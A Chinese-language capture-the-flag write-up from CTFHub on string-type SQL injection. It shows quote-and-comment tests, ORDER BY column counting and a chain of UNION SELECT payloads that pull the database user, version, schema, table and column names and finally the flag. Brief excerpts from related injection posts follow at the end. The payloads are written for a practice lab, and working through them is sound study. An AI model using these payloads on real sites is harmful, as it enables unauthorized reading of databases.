CTFHub 字元型SQL注入

2021-10-03 21:06:39 字數 3824 閱讀 6139

目錄

一、判斷是否存在注入

二、判斷select語句中有幾列

三、判斷顯示的資訊是第幾列的資訊

四、利用函式來收集資料庫資訊

五、通過union查詢資料庫

1、獲取所有資料庫名稱

2、查詢資料庫中有多少個表

3、查詢指定資料庫中的表名

4、查詢指定資料庫指定表中的列名

5、查詢指定資料庫指定表的列的內容

1、加單引號

此時sql 語句為:select * from table where name=』admin』』,由於加單引號後變成三個單引號,則無法執行,程式會報錯;

2、加 』and 1=1

此時sql 語句為:select * from table where name=』admin』 and 1=1』 ,也無法進行注入

還需要通過注釋符號將其繞過;mysql 有三種常用注釋符:

-- 注意,這種注釋符後邊有乙個空格

因此,構造語句為:select * from table where name =』admin』 and 1=1—』 可成功執行返回結果正確;

3、加 』and 1=2 —

此時sql語句為:select * from table where name=』admin』 and 1=2 –』 則會報錯

如果滿足以上三點,可以判斷該url為字元型注入

服務端的sql語句為:select 列 from 資料庫.表 where name='$name'

order by 列名(列名可以為select語句中列的序號,name,age——->1,2),因此數字從大往小猜,如果超出它的列數,則報錯;如果恰好等於列數,顯示$name=1的結果。

$name=1' order by 3 -- ',sql語句為:select * from news where id='1' order by 3 -- '',超過它的列數,報錯。繼續往小猜。猜到2時可以正常顯示,因此字段數量為2

一般在我們可見頁面中顯示的資訊不一定是查詢全部列數,可能查詢3列,顯示1列。通過『直接閉合前面的select語句,使其前半句查詢結果空(除非存在name=』『的情況),即資料庫中不存在該查詢資料,然後通過union select 1,2 顯示的數字來確定顯示的列的位置。

$name=' union select 1,2 -- '

根據查詢結果,得到2,以後想要查詢的資訊就放在第二個列處。

查詢sql自帶的函式來確定當前使用者,當前資料庫等資訊。

資料庫函式有以下:

1、使用者:user()

2、當前資料庫:database()

3、資料庫版本:version()

4、@@hostname (使用者)

5、@@datadir   (資料庫在檔案的位置)

6、@@version  (版本)

7、@@version_compile_os  (作業系統版本)

$name=' union select 1,user() -- ',查詢結果為:root賬戶

如果為root使用者,就可以訪問information_schema資料庫。

查詢資料庫型別,$name=' union select 1,version() -- ',查詢結果為:

由資料庫版本可知它是mysql的乙個分支

查詢當前資料庫名稱,$name=' union select 1,database() -- ',查詢結果為:

當前資料庫名稱為:sqli

$name=' union select 1,group_concat(schema_name) from information_schema.schemata -- '

查詢結果為:

當前資料庫有:

information_schema,mysql,performance_schema,sqli

$name=' union select table_schema,count(*) from information_schema.tables -- '

由結果可知information_schema中有161個表

查詢資料庫information_schema中的所有表名,在後續中需要從裡面的表中查詢資料,該資料庫中有161個表。

$name=' union select 1,group_concat(table_name) from information_schema.tables where table_schema='informatioin_schema' -- '

$name=' union select table_schema, group_concat(table_name) from information_schema.tables where table_schema='sqli' -- '

根據查詢結果可知,資料庫sqli中有兩個表:newsflag

此次,通過limit逐個獲取列名, limit 0,1,修改limit中第乙個數字獲取其他列名,如獲取第二個列名:limit 1,1。

$name=' union select table_name,(select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1) -- '

查詢結果:第乙個字段列名為:flag

查詢第二個欄位沒出查詢成功,說明此表中只有乙個列欄位

$name=' union select 1,group_concat(flag) from sqli.flag -- '

查詢結果:

CTFHub 整數型SQL注入

1 整數型sql注入 1 判斷是否存在注入 1 加單引號 url 對應的sql select from table where id 3 這時sql語句出錯,程式無法正常從資料庫中查詢出資料,就會丟擲異常 2 加and 1 1 url and 1 1 對應的sql select from table...

SQL字元型注入

sql字元型注入 多點幾次submit,它會出現這麼個玩意 都說了是字元型,直接上 whalwl 報錯 whalwl 注釋單引號,不報錯 whalwl order by 3 查詢字段數,order by 4報錯,order by 3剛好不報錯,故有3列 查詢有那些資料庫 這裡注意兩點 1.為什麼要寫...

SQL注入 字元型注入(GET)

實驗準備 皮卡丘靶場 sql injection 數值型注入 get 實驗步驟 當輸入乙個資料庫裡存在的使用者名稱時候,會出現相關郵箱和id 當輸入乙個不存在的字串時,沒有任何資訊 檢視其url,發現請求實在url中提交的,是乙個get請求 猜想資料庫查詢語句 select id,email fro...